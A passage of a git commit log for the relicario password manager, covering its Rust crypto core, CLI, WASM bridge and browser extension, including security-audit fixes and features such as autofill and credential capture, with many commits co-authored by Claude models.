None of these should be in the source repo.

Restores the original .gitignore (adds reference.jpg and ref.jpg to it)
and checks in the Plan 1B design doc that describes the work just merged.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-20 18:50:37 -04:00
adlee-was-taken
e0c511e320 Merge Plan 1B: typed-item CLI + WASM bridge
34 commits from plan-1a-rust-core-complete landing:
- Rename reconciliation (Task 1)
- Core imgsecret MAX_DIMENSION cap (Task 2, audit M3)
- CLI rewrite against typed-item core API (Tasks 3-17)
- WASM opaque SessionHandle bridge (Tasks 18-21)
- CLI integration test harness + tests (Tasks 22-24)
- CLAUDE.md typed-item layout refresh (Task 25)

Audit fixes: H4 H5 H6 H7 M3 M6 M7 M11 L8.
Tests: 151 passing (core + CLI + WASM native), WASM target builds clean.
Tag: plan-1b-cli-wasm-complete
2026-04-20 18:48:56 -04:00
adlee-was-taken
65e0d3cb80 docs: update CLAUDE.md for the typed-item module layout
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-20 18:47:08 -04:00
adlee-was-taken
c3edf9d413 test(cli): vault_dir detection (L8) + v1 vault rejection
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-20 18:39:13 -04:00
adlee-was-taken
20350d509b test(cli): integration tests for edit/history, attachments, settings
Adds RELICARIO_TEST_ITEM_SECRET env hatch for rpassword calls in
cmd_add / cmd_edit so piped-stdin tests can exercise the password
prompt paths without a TTY.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-20 18:37:56 -04:00
adlee-was-taken
b263c27da9 test(cli): integration harness + basic flow tests
Uses assert_cmd + tempfile to spin up a fresh vault per test.
Covers init layout, add/list/get mask semantics, rm/restore/purge cycle,
and generate smoke. Adds RELICARIO_TEST_PASSPHRASE env-var hatch in
unlock_interactive and cmd_init so tests don't need a TTY.

Also fixes read_params in session.rs to correctly parse the nested
params.json format (kdf sub-object) rather than trying to deserialize
the whole file as KdfParams.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-20 18:32:45 -04:00
adlee-was-taken
494eedbbb8 init: new relicario vault (format v2) 2026-04-20 18:31:46 -04:00
adlee-was-taken
b8afec3560 feat(wasm): configure serde_wasm_bindgen for plain-object HashMap
Maps serialize as JS objects, not Maps — what the extension popup
expects. Also ships hand-written TS declarations for the bridge
(consumed by Plan 1C).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-20 17:41:41 -04:00
adlee-was-taken
92b9e64ef9 feat(wasm): attachment / generator / totp / imgsecret / id bridges
Also ports TOTP RFC 6238 compute to relicario-core::item_types::totp
so native + CLI + WASM share one implementation (audit H5: CSPRNG
via core's Uniform-sampling generator).

Adds hmac = "0.12" and sha1 = "0.10" to relicario-core deps to support
HOTP/TOTP HMAC with Sha1/Sha256/Sha512. RFC 6238 test vector (t=59,
SHA-1, 8 digits) passes: "94287082".
2026-04-20 17:39:45 -04:00
adlee-was-taken
fac2e49cf1 feat(wasm): manifest / item / settings encrypt+decrypt via SessionHandle
Adds six #[wasm_bindgen] functions (manifest_encrypt/decrypt,
item_encrypt/decrypt, settings_encrypt/decrypt) plus a native
round-trip test that verifies encrypt→core_decrypt and nonce
uniqueness without calling js-sys (serde_wasm_bindgen::from_value
is wasm32-only; documented in test comment).
2026-04-20 17:37:50 -04:00
adlee-was-taken
f3ce76d9fb feat(wasm): opaque SessionHandle bridge with unlock/lock
Master key never leaves WASM linear memory. Held in Zeroizing<[u8;32]>
inside a thread_local HashMap keyed by u32. lock() removes + zeroizes.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-20 17:34:50 -04:00
adlee-was-taken
8c315654ae feat(cli): device add / list / revoke rewired to hardened git 2026-04-20 17:32:09 -04:00
adlee-was-taken
a3871ac890 feat(cli): relicario sync — pull --rebase then push via hardened git 2026-04-20 17:31:45 -04:00
adlee-was-taken
10f249d95e feat(cli): relicario settings show / trash-retention / history-retention / attachment-cap 2026-04-20 17:31:27 -04:00
adlee-was-taken
a6bad4bb3e feat(cli): relicario generate delegates to core (audit H6)
CLI no longer has its own charset-sampling path — uses the CSPRNG
generate_password / generate_passphrase in relicario-core, which use
rand::distributions::Uniform internally.
2026-04-20 17:30:56 -04:00
adlee-was-taken
cbd1dbd706 feat(cli): attachment ops — attach / attachments / extract
Respects AttachmentCaps from settings.enc; content-addressed aid
comes from core::encrypt_attachment.
2026-04-19 22:27:13 -04:00
adlee-was-taken
b5015b3e9b fix(cli): trash empty unlocks vault once, not per item
Extracted purge_item helper so cmd_trash_empty loops over it without
re-prompting for passphrase per item. Single git commit per trash empty
summarizing the count. Caught in Task 12 review.
2026-04-19 22:25:57 -04:00
adlee-was-taken
cc279bac0b feat(cli): trash ops — rm / restore / purge / trash empty
Soft-delete sets trashed_at via Item::soft_delete; restore clears it.
Purge deletes item + attachment dir and removes manifest entry.
Trash empty scans for items past settings.trash_retention.
2026-04-19 22:24:32 -04:00
adlee-was-taken
06c8903e2b feat(cli): relicario edit — interactive field updates + history
Title/group/tags always optional. Per-type prompts for core secret
fields (Login.password, Card.number, Key.material, SecureNote.body)
push the old value to field_history via a synthetic core:<key>
FieldId so rotation is audit-traceable.
2026-04-19 22:22:45 -04:00
adlee-was-taken
377d73355b feat(cli): relicario list with --type/--group/--tag/--trashed filters
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 22:20:26 -04:00
adlee-was-taken
ed451041b0 feat(cli): relicario get with masking, --show, and zeroize-clipboard
Secrets masked by default (audit M7). --show reveals plaintext.
--copy writes to clipboard and spawns a detached 30s auto-clear
thread holding a Zeroizing copy that wipes on drop (audit M6).
2026-04-19 22:19:15 -04:00
adlee-was-taken
fe017455d3 feat(cli): relicario add — remaining 6 item types
SecureNote, Identity, Card, Key, Document (with inline attachment),
and Totp with base32 secret decoding. Document widens the commit
to include the attachment blob path.
2026-04-19 22:16:51 -04:00
adlee-was-taken
89b22cb089 feat(cli): relicario add login with flag + interactive prompting
Unlocks vault, builds LoginCore from flags (password via rpassword if
--password-prompt), saves item + manifest, commits via hardened git.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 22:13:17 -04:00
adlee-was-taken
5dce2c10f9 fix(cli): init stages salt, handles --output ..-paths, zeroizes image_secret
1. Add .relicario/salt to the initial git commit so it syncs across
   devices (Argon2 salt must match at unlock time).
2. Return a proper error instead of panicking when --output has no
   filename component (e.g., trailing ..).
3. Wrap the generated 32-byte image_secret in Zeroizing for
   consistency with the passphrase + master_key handling in Task 4.

Caught in Task 6 review.
2026-04-19 22:11:10 -04:00
adlee-was-taken
a50099a066 feat(cli): relicario init creates a format-v2 vault
Prompts for a strong passphrase (zxcvbn gate via core), generates a
32-byte image secret, embeds it in the carrier JPEG, writes the
standard vault skeleton, and makes an initial git commit via the
hardened git_command helper.
2026-04-19 22:02:53 -04:00
adlee-was-taken
15e6ed9c75 feat(cli): scaffold clap surface for all typed-item commands
Every subcommand from the Plan 1B CLI spec present; bodies return
'not yet implemented' so subsequent tasks land one command at a time.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 22:00:14 -04:00
adlee-was-taken
589d7b90b4 fix(cli): zeroize image_secret + correct atomic_write temp path
atomic_write now appends .tmp instead of replacing the extension
(manifest.enc.tmp, not manifest.tmp). image_secret is wrapped in
Zeroizing so both KDF inputs wipe on drop. Caught in Task 4 review.
2026-04-19 21:57:42 -04:00
adlee-was-taken
06d21bf7c9 feat(cli): add UnlockedVault session wrapping master_key in Zeroizing
Provides load/save helpers for Manifest/Settings/Item; atomic_write keeps
vault files consistent across crashes. main.rs is transiently broken
against the old Entry API — Task 5+ rewrites the command handlers.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 21:44:44 -04:00
adlee-was-taken
6890926e31 feat(cli): add helpers module (vault_dir/L8, git_command/H4, iso8601/M11)
Bumps rpassword to 7.x (H7) and adds zeroize/chrono/assert_cmd dev-deps.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 21:37:28 -04:00
adlee-was-taken
c8535e11f5 fix(core): correct off-by-one in imgsecret SOF bounds guard
peek_jpeg_dimensions reads jpeg[i+8] as the last byte, so the guard
should be \`i + 8 >= jpeg.len()\`, not \`i + 9 >= jpeg.len()\`. The old
guard would reject a valid SOF marker ending exactly at len()-1.
Caught in Task 2 code-quality review.
2026-04-19 21:34:53 -04:00
adlee-was-taken
7853db061e fix(core): cap imgsecret MAX_DIMENSION at 10000px (audit M3) 2026-04-19 21:27:17 -04:00
adlee-was-taken
3e0cafb269 chore: update Cargo.lock after typed-item dependency additions
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 20:58:50 -04:00
adlee-was-taken
17bf47611f chore: merge rename commit into Plan 1B branch
Resolves conflicts from merging origin/main (idfoto→relicario rename):
- Kept Plan 1A's typed-item vault.rs, lib.rs, integration.rs over main's
  old entry-based versions
- Took main's relicario_dir() fix in CLI main.rs (sed had missed idfoto_dir)
- Kept Plan 1A's UnsupportedFormatVersion error variant in crypto.rs
- Kept Plan 1A's opaque Decrypt message (audit M4) in error.rs
- Deleted entry.rs (replaced by item.rs + typed modules in Plan 1A)
- Resolved Cargo.toml description to main's "relicario password manager"

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 20:58:35 -04:00
adlee-was-taken
9c49e5e148 chore: reconcile Plan 1A branch with idfoto→relicario rename
Renames crate directories and sweeps identifiers so Plan 1B can reference
the post-rename names throughout.

- git mv crates/idfoto-{core,cli,wasm} → crates/relicario-{core,cli,wasm}
- sed sweep: idfoto_core/idfoto-core/IdfotoError/IDFOTO_IMAGE/.idfoto/ etc.
- All 128 relicario-core tests pass post-sweep

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 20:33:04 -04:00
adlee-was-taken
519a6f0e36 chore: rename project from idfoto to relicario
Sweeping rename across crates, CLI binary, WASM bindings, extension, docs,
and vault metadata paths. Git remote updated to relicario.git.

- crates/idfoto-{core,cli,wasm} -> crates/relicario-{core,cli,wasm}
- IdfotoError -> RelicarioError
- IDFOTO_IMAGE env var -> RELICARIO_IMAGE
- ~/.config/idfoto -> ~/.config/relicario
- .idfoto/ vault metadata dir -> .relicario/ (breaking; pre-release)
- Binary name idfoto -> relicario
- Extension wasm module idfoto_wasm -> relicario_wasm
- Storage key idfotoSettings -> relicarioSettings
- All doc filenames and content references updated

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 16:47:02 -04:00
adlee-was-taken
20ff1d9f47 feat: add logo and polish icon presentation
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 16:44:04 -04:00
adlee-was-taken
49b78203f8 chore(core): clean up Plan 1A clippy warnings
Auto-deref at &Zeroizing<[u8;32]> call sites, range pattern in generators,
useless String::into conversions in tests, unused Zeroizing import.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:55:32 -04:00
adlee-was-taken
3cf09faf1e test(core): field history integration (capture, prune, round-trip)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:52:03 -04:00
adlee-was-taken
557fb95b69 test(core): integration tests for format v2 invariants
VERSION_BYTE = 0x02; v1 blobs rejected with UnsupportedFormatVersion;
length-prefix Argon2 input distinguishes collision-engineerable pairs
(audit H1 regression test).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:50:29 -04:00
adlee-was-taken
9cd5924109 test(core): integration tests for generators (balance, BIP39, gate)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:49:08 -04:00
adlee-was-taken
08b1735b0e test(core): integration tests for attachments (round-trip, AID, caps)
Also derives Debug on EncryptedAttachment (required by the test's panic arm).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:47:16 -04:00
adlee-was-taken
c7064183d6 test(core): rewrite integration test for typed items
- full_workflow_login_and_note: round-trips Login + SecureNote + Manifest + Settings
- two_factor_independence: confirms image_secret + passphrase combine into the master key
- field_history_persists_through_round_trip: history survives encrypt/decrypt
- wrong_key_fails_with_opaque_decrypt: opaque error per audit M4

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:45:49 -04:00
adlee-was-taken
950ae3d8dd refactor(core): delete entry.rs; finalize typed-item lib.rs re-exports
The old Entry/ManifestEntry/Manifest types are gone. CLI/extension
references break and will be fixed by Plans 1B and 1C respectively.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:43:16 -04:00
adlee-was-taken
2074677278 feat(core): add Item::prune_history honoring retention policy
Forever, LastN, and Days policies all covered. Tests verify drop order
(keeps newest), days cutoff, and forever-no-op semantics.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:41:13 -04:00
adlee-was-taken
4a98be0dae feat(core): rewrite vault.rs for typed items
encrypt_item / decrypt_item / encrypt_manifest / decrypt_manifest /
encrypt_settings / decrypt_settings. All plaintext flows through
Zeroizing so JSON buffers are wiped on drop.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:38:52 -04:00
adlee-was-taken
f673b1ddee feat(core): add encrypt_attachment + decrypt_attachment
AttachmentId is derived from sha256(plaintext) so identical content
deduplicates naturally. Size cap enforced at encrypt time, returning
IdfotoError::AttachmentTooLarge.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:36:19 -04:00
adlee-was-taken
1fb0f8cc03 chore(core): Debug derive on StrengthEstimate + fix stale test comment
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:35:01 -04:00
adlee-was-taken
61b1a9710b feat(core): add BIP39 passphrase generator + zxcvbn strength gate
generate_passphrase honors word_count (3-12), separator, capitalization.
validate_passphrase_strength enforces zxcvbn score >= 3 (audit H3).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:31:50 -04:00
adlee-was-taken
61d6fb723d fix(core): reject non-ASCII SymbolCharset::Custom at generate time
Avoids from_utf8 panic when Custom contains multi-byte UTF-8 chars
whose individual bytes are independently sampled into the output.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:04:13 -04:00
adlee-was-taken
db3f2e15f2 feat(core): add CSPRNG random password generator with safe charset
Uses rand::distributions::Uniform for unbiased sampling (audit H6).
Safe symbols = !@#$%^&*-_=+ (excludes characters that web forms
commonly reject). Test length capped at 128 (validator upper bound).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:02:39 -04:00
adlee-was-taken
b2d8a759ef fix(core): SymbolCharset needs content="value" for Custom(String)
Same latent bug as TrashRetention/HistoryRetention — serde's
internally-tagged repr cannot merge a newtype primitive payload
into a tag object. Add regression test for Custom round-trip.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:01:09 -04:00
adlee-was-taken
266761232d feat(core): add VaultSettings with retention + generator + caps
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 14:30:17 -04:00
adlee-was-taken
1a30c4ffe0 feat(core): add typed-item Manifest with schema_version 2
ManifestEntry holds the per-item browse summary including derived
icon_hint (Login URL hostname) and attachment_summaries. Search matches
title or tag substring case-insensitively.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 14:27:40 -04:00
adlee-was-taken
a5ddbf2e40 feat(core): add Item envelope with field history + soft-delete
set_field_value() captures old values for Password, Concealed, and Totp
kinds. Soft-delete via trashed_at timestamp; restore clears it. Kind
changes on set_field_value are rejected.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 14:25:11 -04:00
adlee-was-taken
509db707e0 feat(core): add AttachmentRef + AttachmentSummary
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:16:15 -04:00
adlee-was-taken
23f7cb76b1 feat(core): add Field, FieldKind, FieldValue, Section
Parallel kind/value enums with a validate() invariant. Password,
Concealed, and Totp kinds are marked history-tracked so the Item setter
(next task) can decide whether to capture history on update.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:14:00 -04:00
adlee-was-taken
a95f92fe71 test(core): exhaustive round-trip for all seven ItemCore variants
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:11:08 -04:00
adlee-was-taken
91b4b5b7a4 feat(core): flesh out TotpCore + TotpConfig + TotpAlgorithm + TotpKind
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:09:34 -04:00
adlee-was-taken
5786d9ef1a feat(core): flesh out DocumentCore
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:08:03 -04:00
adlee-was-taken
0b0f1cea73 feat(core): flesh out KeyCore
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:06:50 -04:00
adlee-was-taken
0707628d58 feat(core): flesh out CardCore + CardKind
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:05:36 -04:00
adlee-was-taken
316036832c feat(core): flesh out IdentityCore
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:04:23 -04:00
adlee-was-taken
ee25ffed41 feat(core): flesh out SecureNoteCore (Zeroizing body)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:03:03 -04:00
adlee-was-taken
24ed740718 feat(core): flesh out LoginCore with Zeroizing<password> and Url
Also enables zeroize's `serde` feature so Zeroizing<String> can
round-trip through serde_json.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 12:59:46 -04:00
adlee-was-taken
bc60f0a6b4 docs(core): add "type" tag-collision invariant to ItemCore
Reviewer note: flatten semantics of serde tag = "type" means no *Core
struct may ever use "type" as a field name.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 12:58:43 -04:00
adlee-was-taken
0eac9c7991 feat(core): scaffold item_types module with ItemType + ItemCore enum
Stub LoginCore, SecureNoteCore, IdentityCore, CardCore, KeyCore,
DocumentCore, TotpCore. Tag-based serde representation with snake_case
discriminants.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 12:55:34 -04:00
adlee-was-taken
87ead533e5 feat(core): bump VERSION_BYTE to 0x02 with typed UnsupportedFormatVersion
Clean break from v1 — no migration. Decrypting a v1 blob now returns
IdfotoError::UnsupportedFormatVersion { found: 0x01, expected: 0x02 }.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 10:48:49 -04:00
adlee-was-taken
2ea7658036 feat(core): length-prefixed Argon2 input + NFC + Zeroize (audit H1, H2)
derive_master_key now:
- length-prefixes passphrase and image_secret to eliminate concatenation
  ambiguity (H1)
- normalizes passphrase to UTF-8 NFC before hashing
- returns Zeroizing<[u8; 32]> so the master key is wiped on drop (H2)
- wraps the intermediate password buffer in Zeroizing for the same reason

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:57:58 -04:00
adlee-was-taken
1bd86bdb13 refactor(core): rewrite IdfotoError variants for typed items
- Decrypt is now opaque (audit M4)
- Add WeakPassphrase, AttachmentTooLarge, ItemNotFound, UnsupportedFormatVersion
- Rename EntryNotFound → ItemNotFound across remaining call sites

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:53:28 -04:00
adlee-was-taken
1e8ffb02a3 feat(core): add now_unix() and MonthYear
MonthYear used for card expiries; bounds 2000..=2099 are intentional.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:51:35 -04:00
adlee-was-taken
6c601fae08 chore(core): add Default impls + FieldId uniqueness test
Code review fixups:
- ItemId/FieldId need impl Default delegating to ::new() to silence
  clippy::new_without_default
- FieldId was missing the parallel uniqueness test that ItemId has

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:50:24 -04:00
adlee-was-taken
69c2c7453b feat(core): add ItemId, FieldId, AttachmentId types
16-char hex (64-bit) random IDs for items and fields (audit M8).
AttachmentId is sha256(plaintext)[..16] for content-addressing.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:47:23 -04:00
adlee-was-taken
9a5ae2c704 chore(core): add chrono wasmbind feature for WASM target
Code review flagged that chrono's clock feature requires wasmbind for
WASM builds — without it Utc::now() will fail at runtime in the
idfoto-wasm crate. Also drops the redundant hex entry in
[dev-dependencies] (already in [dependencies]).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:42:27 -04:00
adlee-was-taken
166f1418f7 chore(core): add deps for typed-item rewrite
zeroize, zxcvbn, bip39, unicode-normalization, chrono, hex, url, getrandom.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:37:56 -04:00
adlee-was-taken
be6928c0d1 docs: add Plan 1A — Rust core typed-item implementation
31 bite-sized TDD tasks covering: ID types, time helpers, error rewrite,
crypto fixes (length-prefix KDF, Zeroize, NFC, VERSION_BYTE 0x02), seven
typed cores with per-type modules, Field/FieldKind/FieldValue/Section,
Item envelope with field_history + soft-delete, AttachmentRef + content-
addressed encrypt/decrypt, Manifest with schema_version 2, VaultSettings,
CSPRNG generators with safe charset, BIP39 + zxcvbn strength gate, vault
helpers, retention pruning, full integration test suite.

idfoto-cli is expected to fail compilation at the end of this plan;
Plan 1B fixes it.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:24:27 -04:00
adlee-was-taken
cc7247e7f6 docs: add security audit + typed-item data model design
Adds the Phase 1 design spec for the polymorphic typed-item rewrite (Login,
SecureNote, Identity, Card, Key, Document, TOTP — with sections, custom
fields, attachments, password history, and the security architecture from
the audit baked in from day one). Also adds the initial full-codebase
security audit that informs both Phase 0 remediation and Phase 1 design.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 01:35:49 -04:00
adlee-was-taken
2524270524 feat: add environment-aware WASM loading for Chrome/Firefox 2026-04-12 13:14:46 -04:00
adlee-was-taken
b71ebcc418 feat: add Firefox manifest and webpack config 2026-04-12 13:14:38 -04:00
adlee-was-taken
051c98dece docs: add Firefox extension port implementation plan
3 tasks: Firefox manifest + webpack config, environment-aware
WASM loading, and build integration with manual testing.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 13:11:39 -04:00
adlee-was-taken
39f04a0b97 docs: add Firefox extension port design spec
Shared TypeScript source with separate manifests and webpack configs.
Firefox uses background scripts (not service workers) so WASM loading
uses dynamic import instead of initSync.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 13:01:57 -04:00
adlee-was-taken
ff19faff03 feat: add settings view with capture toggle and blacklist management
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 12:25:25 -04:00
adlee-was-taken
baf6416805 feat: add credential capture with bar/toast prompts
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 12:24:04 -04:00
adlee-was-taken
a56114650a feat: add settings, blacklist, and credential check handlers
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 12:22:54 -04:00
adlee-was-taken
1916fa0f81 feat: add settings and credential capture message types
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 12:22:24 -04:00
adlee-was-taken
68f2908156 docs: add credential capture implementation plan
5 tasks: types/messages, service worker handlers, capture content
script with bar/toast prompts, settings popup view, and integration.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 12:20:28 -04:00
adlee-was-taken
cdbd648079 docs: add credential capture design spec
Experimental feature for auto-detecting login form submissions and
prompting to save/update credentials. Configurable bar or toast
prompt style, off by default, with per-site blacklist.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 12:17:20 -04:00
adlee-was-taken
c50285c4a5 refactor: replace popup setup wizard with link to setup.html
The popup is too constrained for multi-step setup (file pickers
close it, fields duplicate the init wizard). Now it just shows
a single button that opens the full-page setup wizard.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 11:55:07 -04:00
adlee-was-taken
4c26b4c534 fix: remove file picker from popup setup wizard
Chrome closes popups when file pickers steal focus. Instead, check
chrome.storage.local for an existing image (pushed by init wizard),
and redirect to the full-page setup.html if no image is found.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 11:52:35 -04:00
adlee-was-taken
0551efe69e fix: avoid full re-render on image upload in setup wizard
Calling setState() after FileReader.onload triggered a full popup
re-render which could crash or close the popup with large images.
Update DOM elements in place instead, and add error handling.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 11:44:32 -04:00
adlee-was-taken
336e90fc84 fix: use static import + initSync for WASM in service worker
Chrome MV3 service workers do not support dynamic import().
Switch to static import of the wasm-pack JS glue and use
initSync() with fetch() to load the WASM binary at runtime.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 11:37:44 -04:00
adlee-was-taken
8236a18433 feat: add setup wizard to webpack build and manifest
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 10:58:15 -04:00
adlee-was-taken
9a53b264f2 feat: add vault initialization wizard
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 10:58:12 -04:00
adlee-was-taken
5397d385e6 feat: add setup wizard HTML page
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 10:58:09 -04:00
adlee-was-taken
26e68b133c feat: add embed_image_secret type declaration
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 10:58:07 -04:00
adlee-was-taken
a1c9d567b1 feat: add embed_image_secret to WASM crate
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 10:58:04 -04:00
adlee-was-taken
0c800bcd4f docs: add vault initialization wizard implementation plan
6 tasks: WASM embed function, setup HTML, wizard TypeScript,
webpack/manifest updates, and build integration.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 10:52:51 -04:00
adlee-was-taken
b48ff0a05c docs: add vault initialization wizard design spec
Browser-based 4-step wizard for creating idfoto vaults without the
CLI. Uses WASM for crypto, pushes vault files via git API, downloads
reference image, and optionally configures the Chrome extension.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 10:46:37 -04:00
adlee-was-taken
8e63ccc23b fix: enable getrandom js feature for WASM compilation
The getrandom crate (transitive dep via rand/argon2) requires the
"js" feature flag to compile for wasm32-unknown-unknown targets.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 10:30:26 -04:00
adlee-was-taken
8093649757 fix: vault paths, TOTP caching, and keyboard nav on filtered list
- Fix .idfoto/ prefix for salt and params.json in vault.ts
- Cache TOTP secrets by entry ID to avoid re-fetching every second
- Fix keyboard navigation to use filtered entries, not unfiltered
- Add window.close() on Escape from entry list

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:48:48 -04:00
adlee-was-taken
029784b67a feat: add placeholder extension icons
Minimal 16x16, 48x48, and 128x128 blue PNG icons generated programmatically.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:42:30 -04:00
adlee-was-taken
78ffeb4b8d feat: add content script with form detection and autofill
Login form detector using password field + username heuristics,
native value setter fill for React/Vue compatibility, inline "id" icon
injection with autofill candidate picker, and MutationObserver for SPA support.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:42:27 -04:00
adlee-was-taken
b4febbbe45 feat: add popup state machine and all components
View router (setup/locked/list/detail/add/edit), unlock screen with
passphrase input, entry list with search/group tabs/keyboard nav,
entry detail with TOTP countdown and copy shortcuts, add/edit form
with password generation, and 3-step setup wizard.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:42:23 -04:00
adlee-was-taken
caf360c978 feat: add terminal dark theme for popup
Monospace font stack, #0d1117 background, blue accents, TOTP green,
entry list with keyboard selection, confirm overlay, wizard progress bar,
and custom 4px scrollbar.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:42:17 -04:00
adlee-was-taken
ff62970917 feat: add service worker with WASM init and message router
Main entry point that loads WASM via dynamic import, manages vault state
(master key, manifest, git host), and handles all message types from
popup and content scripts.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:42:12 -04:00
adlee-was-taken
ea9dee00e1 feat: add vault operations module
Bridges WASM crypto with git host API for encrypt/decrypt of entries
and manifest, plus search, group filtering, and URL-based lookup.

